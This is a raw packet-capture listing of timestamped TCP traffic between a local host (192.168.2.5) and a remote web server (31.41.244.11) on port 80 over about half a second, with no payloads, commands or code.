Dec 18, 2024 21:30:16.541321993 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.541373014 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.541460037 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.545228958 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.545308113 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.545449018 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.545773983 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.549479008 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.549532890 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.549803972 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.549951077 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.553783894 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.553895950 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.554219961 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.555093050 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.557873964 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.557921886 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.558026075 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.558084965 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.562808990 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.562875032 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.563153028 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.563333988 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.566282988 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.566344976 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.663775921 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.663875103 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.664346933 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.665446043 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.665478945 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.665529966 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.665575981 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.665781975 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.668065071 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.668175936 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.668534994 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.668746948 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.671308041 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.671355963 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.671684027 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.673715115 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.675235987 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.675292969 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.675338984 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.675388098 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.678005934 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.678093910 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.678111076 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.678157091 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.681189060 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.681288004 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.681386948 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.681428909 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.684346914 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.684412003 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.684529066 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.684567928 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.687161922 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.687258005 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.687587976 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.687727928 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.690144062 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.690310001 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.690870047 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.690980911 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.693257093 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.693396091 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.693429947 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.693429947 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.695986986 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.696190119 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.696445942 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.696511984 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.698970079 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.699137926 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.699156046 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.699228048 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.701858044 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.701997042 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.702836037 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.702889919 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.704766989 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.704968929 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.705108881 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.707763910 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.707911015 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.708301067 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.708363056 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.710669994 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.710757017 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.710886955 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.711297989 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.713561058 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.713839054 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.714015961 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.716495037 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.716543913 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.716620922 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.716743946 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.719341993 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.719495058 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.719508886 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.719643116 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.722285986 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.722342968 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.723190069 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.723494053 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.725153923 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.725231886 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.725393057 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.725445986 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.728151083 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.728375912 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.728440046 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.731005907 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.731311083 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.731440067 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.731561899 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.733989954 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.734194040 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.734333038 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.734375000 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.736844063 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.736907005 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.737073898 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.737128973 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.739728928 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.739969015 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.740000963 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.740000963 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.742690086 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.742877960 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.743017912 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.743017912 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.745579004 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.745708942 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.746328115 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.746462107 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.748671055 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.748822927 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.748902082 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.748996973 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.751467943 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.751589060 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.751594067 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.751717091 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.754370928 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.754462004 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.754492998 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.754554987 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.757370949 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.757436037 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.757591009 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.758183002 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.760247946 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.760313034 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.760335922 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.760405064 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.855832100 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.855983973 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.855999947 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.856075048 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.856929064 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.856992960 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.857279062 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.857341051 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.859319925 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.859421968 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.859544992 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.859652042 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.861721992 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.861866951 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.861876965 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.861938953 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.864028931 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.864206076 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.864222050 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.864254951 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.866353989 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.866543055 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.866594076 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.868556976 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.868626118 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.868716955 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.868805885 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.870835066 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.871000051 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.871051073 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.873001099 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.873073101 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.873183012 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.873327971 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.875220060 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.875349998 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.875449896 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.877249002 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.877440929 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.877532959 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.879498959 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.879626036 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.879704952 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.881477118 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.881695986 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.881860971 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.883492947 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.883718967 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.883826971 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.885616064 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.885665894 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.885726929 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.886146069 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.887557983 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.887628078 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.887762070 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.889513016 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.889642954 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.889648914 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.890222073 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.891482115 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.891526937 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.891653061 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.893492937 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.893574953 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.893723965 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.894179106 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.895601988 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.895767927 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.895925999 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.897658110 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.897821903 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.897898912 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.899588108 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.899717093 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.899775028 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.899960041 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.901715994 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.901761055 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.901817083 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.901890039 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.903567076 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.903740883 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.903855085 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.903855085 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.905455112 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.905560017 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.905606985 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.905689955 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.907520056 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.907569885 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.907645941 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.907700062 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.909547091 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.909676075 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.909738064 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.911480904 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.911628962 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.911638021 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.911701918 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.913487911 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.913659096 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.913703918 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.913703918 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.915488005 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.915628910 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.915709019 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.917444944 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.917550087 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.917608976 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.917723894 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.919478893 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.919621944 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.919650078 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.919836044 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.921492100 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.921582937 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.921631098 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.921711922 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.923440933 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.923520088 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.923640013 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.924984932 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.925440073 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.925554037 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.925585985 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.925724983 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.927429914 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.927587986 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.927603960 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.927701950 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.929425001 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.929594994 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.929682016 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.931550026 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.931606054 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.931685925 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.931787014 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.933451891 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.933517933 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.933713913 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.934153080 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.935410976 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.935591936 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.935674906 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.937509060 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.937664032 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.937838078 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.939462900 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.939625025 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.939697981 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.941379070 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.941564083 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.941663027 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.943404913 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.943655014 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.943700075 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.945390940 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.945498943 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.945584059 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.946181059 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.947513103 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.947714090 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.947743893 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.949541092 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.949655056 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.949681997 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.950208902 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.951633930 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.951792955 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.951895952 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.953567028 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.953814983 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.953954935 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.955610037 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.955749035 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.955821037 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.957469940 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.957552910 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:16.957572937 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:16.958242893 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.047921896 CET	80	49804	31.41.244.11	192.168.2.5
